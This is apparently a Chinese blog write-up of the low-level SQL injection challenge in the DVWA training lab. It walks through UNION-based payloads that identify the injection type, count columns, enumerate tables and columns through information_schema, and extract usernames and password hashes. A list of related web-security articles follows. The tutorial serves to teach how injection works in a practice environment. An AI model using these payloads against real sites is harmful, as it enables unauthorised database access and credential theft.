[网络安全]DVWA之SQL注入—low level解题详析

简介: 判断漏洞类型原理可参考[网络安全]SQL注入原理及常见攻击方法简析

判断漏洞类型

判断漏洞类型原理可参考[网络安全]SQL注入原理及常见攻击方法简析


判断是否为数字型注入

image.png

若为数字型注入,则第二个语句应回显Error或没有回显。


判断是否为字符型注入

image.png

第二个语句没有回显,所以该漏洞类型为字符型注入漏洞。


判断注入点个数

输入1' order by 4#时,回显Unknown column '4' in 'order clause'


image.png

说明猜测的注入点个数过大

输入1' order by 2#时,回显如下:

说明注入点个数为2或3

输入1' order by 3#时,回显Unknown column '3' in 'order clause'

所以注入点个数为两个


爆库名

输入1' union select 1,database()#

回显一个数据库名

image.png

图片中第一段为第一个注入点的信息,第二段为第二个注入点(即database)的信息。


爆当前用户名

输入1' union select 1,user()#

image.png

由于注入点有两个,所以我们可以通过一个sql语句既查询数据库名又查询当前用户名

输入1' union select user(),database()#

image.png

注意,如果使用1' union select user()#的话,会回显The used SELECT statements have a different number of columns(所使用的 SELECT 语句具有不同数量的列),因为该语句的注入点只有一个。


爆表名

输入1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

回显guestbook和users两个表名

也可采用如下语句

image.png

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

image.png

其中,group_concat的作用是将多个值连接成一个字符串,并用逗号连接。


爆列名

输入1' union select 1, column_name from information_schema.columns where table_name='users'#

或1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

相比之下,在查询结果过多的情况下,建议使用group_concat将查询结果集合起来

image.png

爆字段

输入1' union select user,password from users#

image.png


报错分析及解决方法

若SQL联合注入过程中出现该报错:illegal mix of collations for operation UNION

原因如下:information_schema里的table的排序规则是utf8_general_ci,而user表中字段默认为utf8_unicode_ci,导致字符排序不匹配。

解决方法:


在phpstudy中打开phpMyAdmin


image.png

进入dvwa数据库中的user表,将各列排序规则修改为utf8_gengeral_ci,保存即可。

image.png

总结

以上为DVWA之SQL注入—low level解题详析,读者可借此简单了解SQL注入方式。

后续会分享DVWA之SQL注入—Medium level攻击姿势及解题详析。

我是秋说,我们下次见。


目录
相关文章
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
【7月更文挑战第27天】在 Web 开发中,Python 面临着如 SQL 注入、XSS 和 CSRF 等安全威胁。
56 0
|
2月前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
【7月更文挑战第26天】在 Web 开发中, SQL 注入与 XSS 攻击常令人担忧, 但掌握正确防御策略可化解风险. 对抗 SQL 注入的核心是避免直接拼接用户输入至 SQL 语句. 使用 Python 的参数化查询 (如 sqlite3 库) 和 ORM 框架 (如 Django, SQLAlchemy) 可有效防范. 防范 XSS 攻击需严格过滤及转义用户输入. 利用 Django 模板引擎自动转义功能, 或手动转义及设置内容安全策略 (CSP) 来增强防护. 掌握这些技巧, 让你在 Python Web 开发中更加安心. 安全是个持续学习的过程, 不断提升才能有效保护应用.
40 1
|
2月前
|
SQL Oracle 关系型数据库
SQL查询结果导出方法详析及实践指南
导出SQL查询结果是数据库管理中的一个重要环节。不同的数据库系统提供了各自的工具和方法来完成这项任务。选择合适的方法取决于具体的应用场景、数据规模和个人偏好。无论是在命令行中使用简单的SQL语句,还是通过GUI工具或编程语言实现自动化脚本,都有助于提高工作效率,简化数据管理流程。
|
2月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
【7月更文挑战第27天】在 Python Web 开发中, 安全至关重要。
44 0
|
2月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【7月更文挑战第27天】在 Web 开发中,安全漏洞如同暗礁,其中 SQL 注入、XSS 和 CSRF 尤为棘手。本文通过实战案例展示如何使用 Python 抵御这些威胁。
55 0
|
2月前
|
SQL 安全 数据库
守护Web世界的和平使者:Python Web安全基础,从认识SQL注入、XSS、CSRF开始!
【7月更文挑战第27天】在数字世界里,Web应用如星辰照亮信息交流,但也潜藏安全隐患:SQL注入、XSS与CSRF。SQL注入让攻击者操控数据库;通过参数化查询可防御。XSS允许执行恶意脚本;确保输出编码至关重要。CSRF诱骗用户发送恶意请求;使用CSRF令牌能有效防护。作为开发者,掌握Python Web安全基础,如Flask和Django的安全特性,能帮助我们守护这片数字天地的和平与繁荣。
32 0
|
3天前
|
安全 网络安全 数据安全/隐私保护
数字堡垒之下:网络安全漏洞与信息安全的守护之路
在数字化浪潮中,网络安全成为保护个人隐私和企业数据的关键防线。本文将探讨网络漏洞的发现与利用,加密技术在信息保护中的作用,以及提升安全意识的重要性。我们将从基础概念出发,通过案例分析,深入了解网络攻防的动态平衡,并分享实用的安全策略,旨在为读者提供一条清晰的信息安全守护路径。
11 2
|
2天前
|
安全 算法 网络安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
【9月更文挑战第8天】本文将探讨网络安全与信息安全的重要性,以及如何保护个人和组织的信息资产。我们将讨论网络安全漏洞、加密技术、安全意识等方面的内容,并提供一些实用的建议和技巧来帮助读者提高他们的网络安全水平。无论你是个人用户还是企业管理员,都可以从本文中获得有关如何保护自己免受网络威胁的有用信息。
178 89
|
2天前
|
存储 监控 安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
【9月更文挑战第9天】在数字化时代,网络安全和信息安全已成为我们生活的重要组成部分。本文将探讨网络安全漏洞、加密技术以及安全意识的重要性,并提供一些实用的知识和技巧来保护您的个人信息和数据安全。我们将通过深入浅出的方式,帮助您了解网络威胁的来源,如何利用加密技术保护自己的数据,以及如何提高自己的安全意识。无论您是个人用户还是企业,这些知识都将对您有所帮助。让我们一起来学习如何保护自己的网络安全吧!
|
2天前
|
安全 网络协议 网络安全
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
【9月更文挑战第9天】在数字时代,网络安全和信息安全成为了全球关注的焦点。本文将深入探讨网络安全漏洞、加密技术以及安全意识等方面的内容,帮助读者更好地了解这些概念,并提高自身的网络安全意识和技能。